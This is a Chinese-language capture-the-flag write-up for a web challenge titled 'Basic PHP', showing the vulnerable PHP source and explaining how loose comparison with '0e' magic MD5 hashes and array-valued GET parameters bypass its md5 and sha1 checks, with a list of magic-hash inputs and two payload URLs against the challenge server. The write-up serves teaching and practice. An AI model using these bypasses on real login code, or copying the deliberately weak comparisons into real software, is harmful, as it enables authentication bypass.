Web:Basic PHP

Basic PHP

WEB入门简单,多做几道WEB题吧。

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html> 
<html>
<head>
<title>Exercise</title>
<meta charset="UTF-8">
</head>
<body>
<h1>PHP's basic feature</h1><!--好吧其实是老套路了-->
<?php
require_once('flag.php');

if (isset($_GET['name']) and isset($_GET['password']) && isset($_GET['test'])){
// ========== Stage 1 ==========
$test=$_GET['test'];
$test=md5($test);

if($test=='0') {
print 'You passed stage 1.<br />';
}
else{
print "Game over at stage 1.";
exit();
}

// ========== Stage 2 ==========
if ($_GET['name'] == $_GET['password']){
print 'Your password can not be your name.';
exit();
}
else if (sha1($_GET['name']) === sha1($_GET['password'])){
print 'You passed stage 2.<br />';
print 'Flag: '.$flag;
}
else{
print 'Invalid password';
exit();
}
}
echo '<hr />';
show_source(__FILE__);
?>
</body>
</html>

知识准备

  1. 很详细的php知识点:https://www.restran.net/2016/09/26/php-security-notes/
  2. php特性:弱类型

题目分析

根据题目代码,知道拿到最后的flag,有两个条件。

  1. url的get参数有三个:name,password,test。
    第一关:参数test是经过MD5加密的,如果经过MD5加密后的test值等于0,则通过第一关。由上边博客中,可知道MD5等于0的有以下值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#0e 开头,后面全是数字的
240610708: 0e462097431906509019562988736854
QLTHNDT: 0e405967825401955372549139051580
QNKCDZO: 0e830400451993494058024219903391
PJNPDWY: 0e291529052894702774557631701704
NWWKITQ: 0e763082070976038347657360817689
NOOPCJF: 0e818888003657176127862245791911
MMHUWUV: 0e701732711630150438129209816536
MAUXXQC: 0e478478466848439040434801845361
IHKFRNS: 0e256160682445802696926137988570
GZECLQZ: 0e537612333747236407713628225676
GGHMVOE: 0e362766013028313274586933780773
GEGHBXL: 0e248776895502908863709684713578
EEIZDOI: 0e782601363539291779881938479162
DYAXWCA: 0e424759758842488633464374063001
DQWRASX: 0e742373665639232907775599582643
BRTKUJZ: 0e57640477961333848717747276704
ABJIHVY: 0e755264355178451322893275696586
aaaXXAYW: 0e540853622400160407992788832284
aabg7XSs: 0e087386482136013740957780965295
aabC9RqS: 0e041022518165728065344349536299

payload:
http://123.207.149.64:23331/feature/?name=1&password=2&test=240610708

第一关通过。

  1. 第二关要求name和password是弱类型不相等(==),并且还要求sha1($_GET[‘name’]) === sha1($_GET[‘password’],(===)是强相等,数据类型一样,数值一样。
  • == 是弱类型的比较
  • === 比较符则可以避免这种隐式转换,除了检查值还检查类型。

通关条件:name不等于password && sha1(name)===sha1(password)
md5 和 sha1 无法处理数组,但是 php 没有抛出异常,直接返回 fasle,根据弱类型特点:NULL == false == 0,即让name和password以数组的形式做为GET参数,那么PHP处理URL时,就会把参数当做数组处理,从而绕过sha1函数。
payload:
http://123.207.149.64:23331/feature/?name[]=1&password[]=2&test=240610708

得到flag。

文章目录
  1. 1. Basic PHP
    1. 1.1. 题目描述
    2. 1.2. 知识准备
    3. 1.3. 题目分析